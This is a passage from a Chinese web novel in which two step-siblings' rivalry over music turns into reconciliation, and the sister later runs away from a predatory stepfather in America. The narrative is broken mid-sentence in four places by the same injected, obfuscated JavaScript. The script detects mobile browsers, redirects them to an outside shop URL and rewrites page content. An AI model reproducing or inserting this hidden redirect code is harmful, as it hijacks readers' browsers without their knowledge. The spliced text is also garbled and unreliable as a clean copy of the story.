可他每次侧开脸,与尔珠隔开距离,她的形象从眼前消弭,反倒叫他更从听觉上感知到她。她说话声并不响亮,而是沙柔,并且鲜嫩,调子也不平,高高低低,有抑有扬,像在濡了水的石砖上打磨一柄青泠泠的匕首,而他的心就是那块磨刀砖。 而回头看,则更不妥了,他惧于看她笑,她讲话时,脸上总是带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713270|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着回忆的、渺远的微笑,仿若塞壬鱼尾激起的海涡,不知觉地把他往她的思绪里带。 他可不想一回神,就从后视镜里撞见自己发痴的脸。 转眼快到年底。礼拜五,聂归与同学去附近剧院看电影,回家来,按门铃,保姆还没来得及给他开门,他站在走廊里,就已经听到钢琴声。 进了门,环顾一周,父亲与继母都不在家,而尔珠独坐在三角钢琴前,弹一首不知名的曲子。乐谱立在谱架上,她却不曾瞥过一眼,只是直着腰,略弯脖颈,眼睛随着手走,琴弦击打声繁急,像层层涌叠的浪,而她则是风浪里掣着白帆的、老到的水手。 一侧脸,见聂归站在门口,尔珠收回手,汹涌的音符瞬间被卡停。她看起来很高兴,颊上飞着淡淡的红。 聂归问:“你怎么弹起琴了?” “学校要办元旦联欢会,”她含着笑,“妈妈叫我报名表演。” “唔。”聂归点一点头,“你练习吧,我去看会儿电视。”他把书包抛到沙发上,摁开电视机开关,握住了遥控器,向后一仰,躺进沙发里,手指随意掐了个数字,就发起呆来。 钢琴声弱弱地跳了两下,似在试探是否会吵扰到他,而后键音才渐渐响亮、流利。 中途,似是练累了,尔珠停了一下,转了调,换了个曲子弹。聂归回了片刻神,支着耳朵听了一阵,只觉得耳熟,忽而,他发觉尔珠弹的不是旁的,正是此刻电视节目里的背景音乐,她右手盘旋律,左手按和弦,只比电视里的略略慢两拍。 聂归惊异,故意按了个换台键,琴声果然也随之顿了一会儿,尔珠侧耳听了会儿,须臾,钢琴声又追着当前的背景音响起来。聂归又换台,尔珠也换曲,上下调了十来个电视节目,钢琴曲的旋律都合得上来。 末了,聂归转过脸,去问她:“你都学过?” 尔珠微笑,轻轻摇头,说:“没有,我弹着玩儿。” 聂归暗暗心惊,一时又不太服气,闷闷地想了一阵,他揿灭了电视机,拖起书包,曳在背后,含糊知会了尔珠一声“写作业去了”,便迈上楼去,躲了起来。 继母周末有演出,给两个孩子下了帖子,请他们去剧院里玩。尔珠想去,央聂归作陪,散场后,继母一面卸妆,一面与同事聊天,尔珠生得漂亮,又颇得母亲的天赋,大人们的话题也都往她身上凑,有甚者还抖出了演出服装,似想打扮洋娃娃似的,哄尔珠来试穿,独聂归一个人在旁边,有大人问就随口答两句,没有时,就坐在化妆镜前转椅子,把时间消磨过去。 听得尔珠钢琴弹得好,继母的同事说,元旦时,剧院也要办晚会,到时候可以加个惊喜节目,叫尔珠上台去奏演钢琴。 继母捧着自己脸颊笑,问,当真可以? 同事信誓旦旦:当然可以!剧院的舞台永远为有才华的后辈敞开。 继母点头替女儿说好,又思忖一下,叫聂归:“小归,你会不会乐器?” 聂归木着脸,摇摇头。 继母又问:“你有什么想学的吗?到时候说不定能和妹妹一起上台演出呢!” 聂归只当她随口一问,他也随口一答:“鼓,架子鼓。” 他正郁闷,想到乐器,首先就想要声量大的,够吵闹。 5. 004 谁料第二天,就有人用车载了零件,运到家里来。继母问聂归想把鼓放在哪里,他不知如何推拒,只好指了指楼上自己的卧室。 架子鼓组好了,继母又说,她与厉害的乐手相熟,如今她已经知会了对方,这一个月,对方推掉了所有演出,只等聂归有时间前去学鼓。 聂归始料未及,不知自己为何一下子被架到了如此境地。他和继母关系平平,发不出来脾气,也逃避不了好意,只得赶鸭子上架,一周抽个三四天,牺牲玩乐的时间,去胡同里学鼓。 教架子鼓的乐手是年代初摇滚流行乐队Hour的鼓手小鸥,他显然是很珍惜聂归继母这一份人情,前前后后都问清楚了,聂归懵懵懂懂地说要演出,小鸥便越级挑了一首爵士曲,拆出架子鼓独奏,盯紧了聂归,不叫他练习时有一丝懈怠。 两周练下来,聂归午睡浑噩地做梦,梦里都在打拍子。 起初,聂归疑心这是父亲拿来管束他的阴谋,可过了一段时间,他敏锐觉察,每当他在家练鼓时,到了父亲回家的点,父亲也踪迹全无,显然是在躲屋子里的噪音。聂归暗乐,一放学,便钻进卧室敲起鼓来,咚嚓又夸嚓,声浪绵延到夜半,不得不写作业了,才歇下来。 学校元旦联欢会与剧院的晚会是连着的两场,间隔比较紧,尔珠演完前一场,而后母亲须得立刻接兄妹俩去下一场。 继母早早在国外订下礼服,尔珠坐在轿车后座,绸面的新叶黄长裙铺开,把她拥在当中,便好似八音盒里立出来的白釉敷面的小人偶。聂归打架子鼓,自然用不上这么隆重的礼服,便只随意套了个黑色外套。 继母坐在副驾驶座,笑着回首,满意地打量自己两个小孩,说,你们只当去玩儿,不要太紧张。 联欢会演了整一个小时,才演到尔珠出场,而这一个小时里,聂归全在神游,多大的声音都钻不进他耳朵里。他把乐谱从包里取出来,看了再看,又放进去,嘴里一溜儿低声在背诵,手在膝盖上轻打着拍子,鞋底也在无声地踩。 他总觉得自己应该做出点显眼的成绩来,不能比尔珠差。他心中暗暗称量,尔珠打小练琴,虽不是奔着做钢琴家去的,但好歹也学了七八年,自己架子鼓才练一个月,只要全程不出差错,就不算低了妹妹一头。 可到了尔珠上台,镁光灯射一束圆锥,把她拢进光里,聂归忽地想起她的外号——公主。 亮白的光几乎晞干了她身上的色彩,留下的只是一道白耀耀的剪影。影子提拎着裙角,向台下鞠躬,依旧纯净轻盈如此刻户外桦树林与城墙间的雪。她平时封闭沉默,走上了台,却毫不怯场。曲子是她在家练的那一支,只是更活泼、更轻快,每个键音都似乎按在滴溜溜的圆珠子上,扩到音响里,一粒粒都绽出噗噜噜的洁白的鸽子。 等尔珠收尾、鞠躬、下台,聂归便忙从座位上站起来,逆着众人的涌动的掌声,预备去后台寻她,与她一道去剧院。聂归仍在紧张,脚下不当心,被伸到走廊的不知名的腿绊了一下,他躁郁地骂一声,也不管对方是谁,继续径直往下走。 这一绊,他忽然醒悟了大半。他不知觉地想,自己其实不该学鼓,更不该在继母让他参演时应承下来,他就不是这块料,何必要去与尔珠争个高下。 等到了后台,举目一望,全是忙忙碌碌的学生,说相声的正互相扣着盘扣,合唱团还在往红扑扑的颊上刷粉,诗朗诵的正从袖子里抽纸条出来看词。 聂归扯住一个红帽子的志愿者,问她有没有见到尔珠。红帽子想了片刻,说,她已经从后门出去了。聂归这才想起,自己竟没有与她约定见面地点。 他顺着红帽子指的通道快步走下去,一直走出学校礼堂,走到黄昏的雪地里去。暖气被防火门隔绝,聂归立在雪地里,不禁打了个寒颤。 他依旧漫无目的地找,心中却逆着想,最好碰不上妹妹尔珠,他也不必去剧院丢人。 又找了一圈,依旧不见尔珠踪影。聂归想,继母大概赶时间,独叫上尔珠先走了。 继母为了提早带两个小孩去剧院演出,已同老师打好了招呼,也就无人强制聂归的去留。他全然是自由的。这样想着,聂归慢慢调转了方向,缩着脖子,手插在夹克兜里,顶着雪,往家里走。 站在人行道上,他踢了两脚雪,不是很高兴。本来没寻到尔珠,是遂了他的愿,他却仍觉得一种无能带来的惨淡笼在他头顶。 在街上拦了一辆出租车,他钻了进去,回了家。家里只有保姆一人在看电视,他冲她点了个头,不等她问,便两步跨上楼去,脱了鞋与外套,反锁了房门,又拉灭了灯,钻进被子里,睁着眼睛,直到困意淹上来。 睡到朦胧时,他隐约听到楼下有脚步声,嗑嗑哒哒,一直绵延他房门口,而后又反折下楼。之后还有人讲话,只可惜,他却实在没能清醒过来。 放元旦假,中午,一家人凑齐整了,坐在圆餐桌上,吃饺子、鸡蛋羹。瓷汤勺在碗盘里碰得叮啷响,继母沉默了片刻,还是开了口,她问聂归:“小归,你昨天怎么没去剧院?” 聂归正要答她,自己没能找到妹妹和继母的车,却不想父亲却插进话来:“去那里做什么?” 继母答说:“我和剧院约好了,让孩子们去演出。” 父亲却把眼光冷扫一下聂归,说:“他这半路出家,能演出个什么名堂?下次这种事,小珠一个人去就行。”末了,他又命令聂归:“元旦放完了,你就把你那鼓卖了。早敲晚敲,吵得人不安生。” 聂归把勺子哒哒地剁着鸡蛋羹:“我不。我喜欢打鼓。” 父亲说:“你要是有小珠一半的天赋,我都允许你把那堆破铜烂铁留下来。你有吗?” 又是尔珠。聂归郁积的暗火一下子窜明了。自从父亲续弦,他就当了外人,凡做个什么事,都好像巴结他们这一家人似的,而尔珠才像是正儿八经的女儿。可她到底有什么好,她分明就是个爱偷东西的怪胎。 嘴比脑子快,聂归这么想,便把勺子往碗里一丢,冲父亲讥笑道:“那您知道自个儿的天才女儿在学校偷人家东西吗?” 一瞬间,餐桌上静了。桌子的下首传来一个细声音,全是不可置信:“哥哥?” 聂归暗咬着牙忍住,不往尔珠那边看。这是她头一次叫他作“哥哥”,却是这样难堪的情景。 他把心一横,眼睛灼灼的光抵住父亲的威压,一字一句,继续往下说:“我还保留着她班上的寻物启事,要我拿给您老看吗?” 父亲把勺子往汤碗里一砸,滚烫的汤水四溅:“你别吃了,滚上楼去。” 聂归松松垮垮地站起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713271|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,双手插在外套口袋里,脸上依旧牢挂着哂笑:“随您便。反正不是我偷东西。”说完,他看也不看其他人,转身径直往楼上走。 走到楼梯口,身后,父亲却在柔声问尔珠:“小珠,你是不是零花钱不够花?” 反锁了门,坐到架子鼓前,把手按在落地鼓鼓面上,聂归还能感觉自己一阵一阵发着抖。 他赢了,赢得痛快且决绝。 父亲那句对尔珠的关切,更像是情急之下挽救面子的拙计,他本来想笑一下,但耳边还留着尔珠的声音,留着她叫的那一声“哥哥”。 最终,悲哀像一股酸热的地泉,从他身腔里往上冲。他把手捂住了脸。冷的手心熨着热的脸颊。 而后是长久的、长久的静止。 父亲来捶敲他的房门时,他已经一天没吃过饭了。鼓槌敲击鼓面、铁镲的音浪像永不褪却的、安全的潮水包裹着他,一阵赶一阵涌上来,把捶门声也吞没在当中。 他学架子鼓,本就全是为了继母许诺的那一场演出,到头来,他也只会这一场。他没有别的,只把这一段节奏反复地敲,拿全身力气敲。既然父亲不爱听,那他就敲上千百遍。 汗水从额角往下挂,顺着睫毛,侵到眼睛里。眼前似有黑星在转,他太饿了,也快没有力气,但却像正做着千米长跑,一圈一圈,快到尽头了,肌肉麻木地牵扯着,而心静得有如水银镜。镜子里,从母亲自杀,到继母与妹妹进门,再到他早晨的揭发,一件件,一桩桩,都流连着映过镜面。 门外有争吵声,似是继母来劝父亲。过了片刻,门外也静了。 夜深人定,聂归溜出门,去饮水,又偷溜回来,没锁门,径直钻到被窝里,捂着饥火,要睡去,谁知有人轻轻叩响了他的门,不等他应答,便拧开门把,悄声走进来,又反手轻声掩上门。 床头灯被拉亮了,聂归背着身,紧蜷着,却从洁面乳的香味里辨别出,来人是继母。 继母在他床沿坐下,先是微叹一口气,说:“小归,你妹妹把你在学校帮她的事全告诉我了。” 聂归闭着眼睛,不作声。 继母说:“小珠这个孩子,是有点毛病。当时,我同她爸爸离婚,分得很难看,小珠以为是自己的错,心里不安,不知怎么养成了拿人东西的坏习惯,一焦虑紧张,就爱往自己房间拿东西,起初还只拿我的,后来就拿起同学的。我骂过,也打过她,也去学校找过老师,向人道过歉,还带着她去看医生,都不怎么管用,她小学就换了三所,呆不下去。要不是你帮她,我真不知道……” 她停顿了一下,又说:“学鼓是怕你孤单,不是像你爸爸说的,要和小珠比。昨天小珠也没去剧院演出。是我的错,没替你们约好时间地点。我们在学校里找了你很久,还去剧院找过。等到了时间,她说,哥哥没来,她也不上台。” 末了,继母站起身,咔哒两声,是她把东西放在了床头柜。像每个劝慰儿子的母亲,这个与他全无血缘的女人柔声说:“我替你拿了一碟面包,你要是饿,就吃两口吧。” 不久,床头灯被拉灭了,脚步声也渐渐向外去,门开了又合上。 终于,一切又回归阒寂。黑暗里,聂归把被褥扯上来,蒙住了头脸。 过了一会儿,坟起的被褥底下传出低闷的哭声。 6. 005 元旦假过了,依旧样去上学。 轿车里,尔珠缩在左边的后座,聂归踞在右边,各自看各自窗户外的风景。等到了地方,惯例是要一起从右边下到人行道上。 聂归先下车,替尔珠撑着门,等她钻出来时,他把眼看天,低声对妹妹说:“对不起。” 尔珠震了一震,身子也顿了片刻,末了,她轻轻“嗯”一声,算是应答。 这便是和好。 两人又一起放学,肩并肩地往校外走。 尔珠做人和刺猬似的,受不得惊吓,等上许久等她探出脑袋,只一戳,立马蜷起来了,等她消化芥蒂,又要等上十天半载。起初,他们复作了开学时的样子,两厢沉默着,讲话也是简短而快速,直到放寒假,两个人才重新熟络起来。 后海结了冰,聂归与朋友们结伴去滑冰,也带着尔珠一道。尔珠不会,聂归就把她牵到人少的近岸,托着她的手臂,教她滑冰。 从中午玩到傍晚,四周都暗了,人群也渐渐散走,聂归的朋友也都陆续回家,只剩下他们兄妹俩还私语着,一个教,一个学。 等上了岸,脱了冰鞋,手缩在厚羽绒袖子里,探出一根指头,勾鞋带线,他们沿着后海岸线走,途径音像店。店门口立两只小音响,正播新出的华语摇滚,因那歌里有鼓声,聂归就驻足听了一阵。 尔珠见状,也停下来,陪听了片刻,她摇了摇头,去扯哥哥的袖子:“不好听。” “你爱听什么?”聂归问她。 但尔珠讲不出来,她只是反复说,不好听,说那是一首没有写完的歌。 聂归早早写完了寒假作业,若没有出游的打算,他仍去鼓手小鸥家学架子鼓。 不必再演出,小鸥就随性教起来。他本来是做摇滚乐队的鼓手,听得多、练得多的也是摇滚。他从音像店里搬了一箱录音带,叫聂归带回家听、揣摩。 聂归在家听歌时,尔珠也常坐在他身边,两个孩子一人垫一只软枕,相对围着录音机。 许是小鸥有私心,录音带里除开英国摇滚乐队专辑,还掺有十来碟华语摇滚。尔珠听到不爱听的,就摇头,聂归于是按下暂停键,弹出录音带,换下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713272|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘。 尔珠欣赏的专辑极少,往往只是一整盘碟里挑一首听得顺耳的,其中有一张初听起来尤其古怪的《冬》被她听到了底,末了,还若有所思地点头。聂归一翻盘上刻印的作者名,即刻认出来,这是小鸥乐队Hour的旧主唱孟匀的作品。 听过还不够,待聂归去练鼓,尔珠又把不爱听的录音带翻出来,一面听,一面拿笔记。她当然识得五线谱,只是嫌画线麻烦,又不方便记多种乐器,于是另发明一种记录符号,别人见了,只当乱涂画,她却能照着涂画的拿乐器演奏出旋律来,并玩得不亦乐乎。 聂归有时也在旁看她涂改,听她拿钢琴演那些她改过的曲子。单独的钢琴声并不能全达到效果,但聂归还是能听出,旧曲朽坏的骨架上,她用全新的和弦、意外的停顿、恰好的延长,催发了一种更精纯、更复杂的感受。 聂归已经全盘接受了尔珠的天赋,他想,或许某一天,他会有个做音乐家的妹妹,而他也应该把眼光转去别处,想一想自己的未来。 这个想法终结在在父亲与继母离婚的那一日。 7. 006 尔珠拿银餐叉险些插伤继父的眼睛时,反手挣扎,一不小心,也撞倒了怀着孕的母亲。 有佣人忙伸手扶住母亲,另有人扑上来,要去搀仰翻的继父,更有的,几只手要来拉扯尔珠,要当场捉住她。 手里的餐叉跌在地上,当啷一声响,她来不及再看捂眼号叫的继父,调转了头,手在中岛上一抹,顺走了车钥匙。 她几乎是被门槛绊出去的。逃到车库,母亲给她买的生日礼物正泊在里面——一辆酸奶白的奥迪A8。掣开车门,她钻进去,插钥匙,挂挡,松手刹,一脚油门。车身略晃两下,驰出车库,冲下坡去。 白色的公路,两旁撑不矮于十七英尺的棕榈树,直撑到天空里去。大晴天,宝石蓝的天空,无边无际,不分季节,永永远远这么蓝下去,因停滞的深邃而恐怖。 开了一个钟头,或许一个半钟头,车刹在无名的公用草坪边,尔珠终于忍不住,伏在方向盘上,低声啜泣起来。 该往哪儿去,她不知道。 先前,在大理石房子里,在人头、储物柜、彩带与吵闹声熙攘的教学楼里,她只觉得憋仄得喘不过气,而终于逃出来,天广地阔,也是如此可怕,如此飘摇而没有依靠。 她先怨的是母亲,不惑的年纪,在中国已经离了两次婚,到了美国,仍要匆匆往指头上套婚戒,要给男人生孩子。她想起母亲和蔼而软弱的脸,想起她脸上柔顺的细纹,以及刚刚那桩惨案,又忍不住咬住牙,掉下眼泪来。 而继父,尔珠打了个寒噤,浮在脑海里的是他平常打量她的眼神。他爱上下地看她,眼光在他满意的地方打个转,像摩挲一个小玩意儿。他还爱用夸张的语气说,甜心,你该去演电影,我认识好的制作人,你愿意去试一试吗? 他在酒会上揽着她的腰,衬得一旁的母亲像低价购古董时不得不捆绑买下的仿制品。她恨母亲看不出来,抑或看出来了,却仍含着笑咀嚼咽进肚子里去。 她也是不管教她。小时候,她偷东西,于是小臂上留的全是母亲拿塑料尺抽出的坟起的红肿。她的母亲确有一丝血性,但那都是对着她的,背过身,对着旁人,却是一张羔羊的、和顺的面孔。 母亲当然待她好过,尔珠抹着眼泪,决绝地想,但母亲对她的好,并不出于爱,而全是因她要做个好女人。 她几乎快记不起自己究竟是如何对继父发了脾气,许是因为他看了她的日记本,又或许是她偷喂了许久的幼猫,却被继父一脚抛到了马路上。她把银餐叉扎伤了继父的眉骨。尔珠从想不到,那双只会洋洋地扫量人的眼睛,还能显出张皇与恐惧。 那样子叫她终于在无边的、混沌似的痛苦里中体会到一线电闪般的快意,但也几乎预示着,她再没可能回到那幢大理石房子里。 手套箱里还有塞有几张纸币,本来是要施舍流浪者的。尔珠一面吸着鼻子抹眼泪,一面攥着纸币细想了一番,最终,她驱车去杂货店,买了一套刀具,欻欻几下,撕去包装,手套箱里藏一柄,座位底下绑一柄,剩下一枚小刀,则被她揣在外套兜里。 其次,离家出走,最要紧的是钱。她开着车,顺着街道走,走到店铺聚集处,便停下来,下车进到店里去问是否收员工。大部分见了她驾照上的年纪,都摇着头婉拒了,个别的男店主则上下打量她,眼神与继父初见她时别无二致,她只得低着脸,仓皇地掉头走开。 有时,她真恨自己生着这么一副相貌。 近秋的时节,六七点,天便如水般暗凉下来。她不敢在街上停留,只得把车开到山岭里的居民区去,择个道边的空位,腾挪进去,装作是居民里的一员。 入夜了,饿着肚子,尔珠把毛毯裹在身上。横躺,后座容不下她,她只好把腿全曲上来。夜里被冻醒一次,略动了动手足,全是细细密密的酸麻。 到了白天,把剩余的零钱全买了甜腻的便宜饼干,又在超市食品区赚了两口试吃,尔珠仍在街头驾着车找工作。 零星的,人行道、树荫下,总横卧一两个流浪者。因出于对天气与安危的考量,流浪者少有在夜里入睡的,反而白昼里气温和暖,是休息的好时候,当然也有没有气力的缘故。每路过一个流浪者,尔珠的心便忽地抽一下,悬在胸腔里,没个着落。再多瞧几次,她便连往人行道上看的勇气都没了。 夜里,还是在居民区泊车,躲在车里歇住。透过车窗,她望进别人的房子里去。她在这里泊了几天车,已琢磨透那屋里的住户——是一对墨西哥老夫妇。 这幢房子陷在坡下面,坡上圆滚滚的迷迭香丛。房子周边也有栅栏,原木,只刷清漆,和不到十岁的儿童差不多高,铁搭扣只需要用拇指一顶,就能打开。屋门口撑一大丛三角梅,辛红的花还没凋尽,枝条全拢着,搁在屋檐上,为门口匝出一方荫凉。 像居民区里大部分住户,他们常在日落的时刻出门来散步,尔珠从未见他们遛过狗,他们该是不养狗的——她为自己的揣测感到不安。打从十三岁之后,她便不再偷拿别人的东西。 困顿到深处,她总爱趴在车窗后,目光直透到屋子的窗户里,以想象这对老住户的生活来消磨时间,想象他们是否会在披萨上缀九层塔的叶子,是否用黄油润锅来煎牛排,茶里又是否浮沉茉莉花苞,诸如此类——她实在太饿了。 又到了白天。她运气好,碰上新开张的快餐店,一个人吃下一整只双层牛肉堡,便能得一枚小塑料玩偶。活动是免费的。她头一个尝试。店员端来的餐盘上,汉堡足有她的脑袋大。 她一层一层,扒开来吃,什么都忘却了,只知道咀嚼,梗着脖子往下咽,嘴里塞满了,两腮鼓起来,而手上还沿纹路撕开肉夹层,举到嘴边,预备着——她自然也是第一个拿到玩偶的。 已经不知是第几天,尔珠已断绝了找到临时工的想法。她怔坐在车里,胃里还有食物未消化,没那么饿,她也就有力气伤心。 挡风玻璃外,依旧是古老的蓝天,车里面,油表的指针每天都往数值更小的一边停靠,她的希望也随之往下滑,不见底地往下滑。 城市太大了,或许不足以让人在短短几天里找到她——那找到她时,又应该是怎样一副情景?继父被她戳伤了面目,母亲则险些摔倒。家里多的是佣人,该敷药的也敷了药了,该请私人医师,也应当请到家了。他们总该出来找她了吧。 可她又想,她并不是那么乐于与他们再当家人,但她降落在这里,她无处可去。 尔珠抽了一下鼻子,感觉到脸上一片潮湿。 晚上,终于,她按捺不住,驱车往家的方向去。下下车窗,淅淅的凉风往车里灌,所有的怨恨都顺着风流走。 她想,母亲到底是心疼她的,不然,她也不会管教她;至于继父,还剩两年,她早晚也要离开这个家,往中部走,往东边走,甚至走到别的国家去,他的手哪里捉得住她,忍一忍,似乎也并不那样难耐。道个歉,他们究竟是一家人,再大不了,让他们掴她两个耳光。 她捱得下来。只要有个去处。 一切打算好的,都消散在她抵达庄园门的那一刻。 大理石的房子,敞开了前院,车辆沿路泊停,一辆连一辆,卧上坡去,尽头则是一团剔透的灯火,歌声传到尔珠的车里,还清晰可闻。 她攥着方向盘,微微张着嘴,却发不出来声音,只有一点声气,不自觉地还劝着她自己:就当作没有看见,把车跟着宾客开进去,下车,从旁溜进房子里,往房间里一躲,反锁门,用玩偶堵住面孔,不见不闻,也就没什么事。 可另一边,她止不住地想:母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713273|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与继父不来寻她,便是笃定她会自己回来,他们有的是法子制服她,或许更甚,她离家出走,于他们而言,是甩脱了一个麻烦,该当开一座香槟塔,宴一整晚上的宾客来庆祝——没人期待她的存在。 最终,尔珠踩下油门,把方向盘拧到底。车往与大理石房子反的方向驰走了。 还是停在门前长三角梅的屋子外。不知道哭了多久,眼睛已经干了,但痛苦仍止不住,要从胃里,从脏腑里,从喉咙里沥沥地往外倒。痉挛的疼痛,像一把冷凉的细铁钳子,从太阳穴里伸进来,啪地一声,合钳在她神经上。 她从外套里翻出刀子,一只手攥着柄,一只手握住刃,紧紧卡住。刀刃顺掌纹切开血肉,不够锋利,留下的感觉只有灼伤样的痛。 她想起中国的古神话,如果可以,她抑制不住地想,她也要把自己的血肉一爿一爿,剔还给母亲。 不知是什么时候没有力气的。尔珠仰卧在驾驶座上,手掌里的血已经干涸了。 她只觉得冷,从内至外,虚喘着气的、有千钧重的冷。闭上眼之前,她回忆自己过去十多年里值得怀念的东西,惊觉它们竟然是如此稀少,只在罅隙里,淡淡地闪一点光——她是这样一个人,即便就这样死掉,竟也没有一点值得可惜的。 破窗器凿碎车玻璃时,尔珠醒过来一回。 天已经亮了,远处有棕榈树淡黑的轮廓。她想挣动一下,只是全没有力气。 有人探进身子来,手从她肋下穿过去,扣住她的肩,半抱半拖,把她往外挪。 终于,尔珠的身子脱出了车。那人把她搀抱在怀里,有皱纹的脸贴到她脸颊上。 那人在说话,是一个陌生女人的声音。她说:“天哪,我的小宝贝。” 已经很多年没有人如此叫过她。 是那对老夫妇救了她。他们把她挪出车外,用热水润了毛巾,替她擦手、擦脸,把毛毯将她裹紧,瓷勺一勺一勺送糖水到她唇边。温的糖水顺着牙齿往喉咙里流,尔珠呛了一下,睁了眼睛。 他们忙用重口音的英文,问她的姓名,问她的父母是谁,是否有人待她不好。 尔珠哽咽了一下,讲不出话来,只有眼泪止不住地往下淌。他们见状,便不再问,只是说家里有电话,她可以打给任何人。 尔珠觉得茫然。她不知可以打给谁。在这里住了两年,没有一样能习惯的,她惧怕与人讲话,自然也交不到朋友;亲人也不再是亲人,她曾在餐桌上向母亲讲中文,但母亲执意用英文答复她,叫她们的话一定能给继父听懂。 没人愿意与她站在同一边。她在哪全然都是个外来者。 也许是因为她看上去太伤心,老夫妇开始兀自与她讲话。他们说,其实他们老早就发现了她,因她把车泊在了他们女儿常停的车位上。 尔珠眼睛闪一闪,想笑,表情却是凄哀的。老妇人见她回神,很高兴,说,从来没有见过她这样漂亮的孩子,简直像个天使,这样的孩子应当是笑着的。 末了,他们对视一眼,又说,如果需要帮助,他们可以帮她报警。尔珠忽然醒悟,她是不可以在这里久留的,这世界上,大部分人都是陌生人,无论他们多么善良。 尔珠垂着眼睫,想了一阵,说:“我想给我的爸爸打个电话。” 老夫妇把电话取到她跟前。照着记忆,她一个一个按下拨号键。 等了一阵,没打通。她在号码前又加了几个数字,再打,还是不通。再加数字,再打。嘟——嘟——电话接通了。 拿起话筒,贴在嘴边,电话里有声音。尔珠报了自己的名字。又等一阵,对面似乎换了个人接。 对方问,她答。“嗯”、“嗯”地应了两声,她面上没有什么表情,只是用中文说:“我妈妈死掉了。” 8. 007 尔珠的生父是驻华外交官,她打小有双重国籍,一边是中国,一边是美国。不满十八岁,她仍能保有两重身份,聂家接她回国自然也便利许多。 尔珠不知道大人们是怎样交涉的,总之,她终于有了去处。 聂父公务繁忙,秘书从机场接她回家。依然是水门汀的前院,绕着长一圈矮蓬蓬的黄杨,进了门,保姆刘姨伸手来接她的行李箱,见了她,很高兴,嘴角笑得顶出皱纹来,一迭声叫她小名,又埋怨她这样久都不曾给家里打个电话。 客厅还歇着她的三角钢琴,琴盖牢牢合着,没罩防尘布,却锃亮光洁。她环视一周,除了刘姨,竟然见不到一个人影,问才知,聂归去上了大学,寄宿,不常回家。 走上楼去,尔珠想去哥哥房间里看看,却见房门紧闭,像一张漠然的、空寂的脸。去拧把手,也纹丝不动。 刘姨说,你哥哥长大了,注重隐私,每次返校,都把门锁紧,除了他,没人有钥匙,即便他在家,也不许人进这房间,东西都是他自个儿拾掇,连她打扫都不方便了。 像初中时一样,依旧是插班去上高中,早上司机送去,晚上司机来接。聂父总不在家,早晚只有她与刘姨相对。 刘姨总唤她,叫她到客厅里来写作业,两个人说说话。刘姨称她比初来时要开朗,“出了国,长了见识,也长大了”,而她简直不愿想小时候,那时候,她太敏感,一星点小事都能压迫她的神经,以至于做了不少怪事、错事,想一想,还挺难为情的。 但她却爱与刘姨讲话,一说起来就不停。这里是她的家,所有脉脉的、失而复得的温情都向着她一个人。 她同刘姨讲新学校里的事。刘姨听说她的高中,“呀”了一声,她说:“你哥哥就在隔壁读大学。” 隔壁大学是允许进的。周五下午,她挑了个长的课间,去大学里逛。 她先是向行人打听男生宿舍楼,找到了地方,就问宿管,名册上有没有登载一个“聂归”的学生,“我是他的妹妹。”她说。 正巧,一个男学生路过,听了聂归的名字,就为她指了个方向,说,“你去楼后面找找。” 她道了谢,匆忙往外走,照着指示,绕到宿舍楼后。 学生们大多在宿舍楼后的敞亮地方晾衣服。天阴絮絮的,徐徐地吹着风。 尔珠没抱什么希望,说是来找人,实际上,她却没真做好准备,只是想来聂归生活过的地方逛一逛、看一看,好似他曾来过,这里的花木于她都是亲切的。 不期,她却当真找到了他。 一条铁丝线拉过去,稀稀疏疏地挂着几件衣裳,风掀动衣摆,露出后头刷石灰的墙,也叫她见到那墙边倚着的两个人。她一眼就从中认出聂归。 他剃短了头发,个子拔高许多,靛青圆领T恤外套一件鸽子灰衬衫,袖子折到手肘,露出小臂,穿得寻常,但显得匀称而清朗。他把手半插在兜里,整片背脊抵着墙,正低着眼睛,漫不经心地盯着脚尖看,眉眼分明、清晰,从她记忆里的少年长出了青年的样子。 身边的人在同他讲话,他回的话并不多,常常就“嗯”一声,微点一下头。 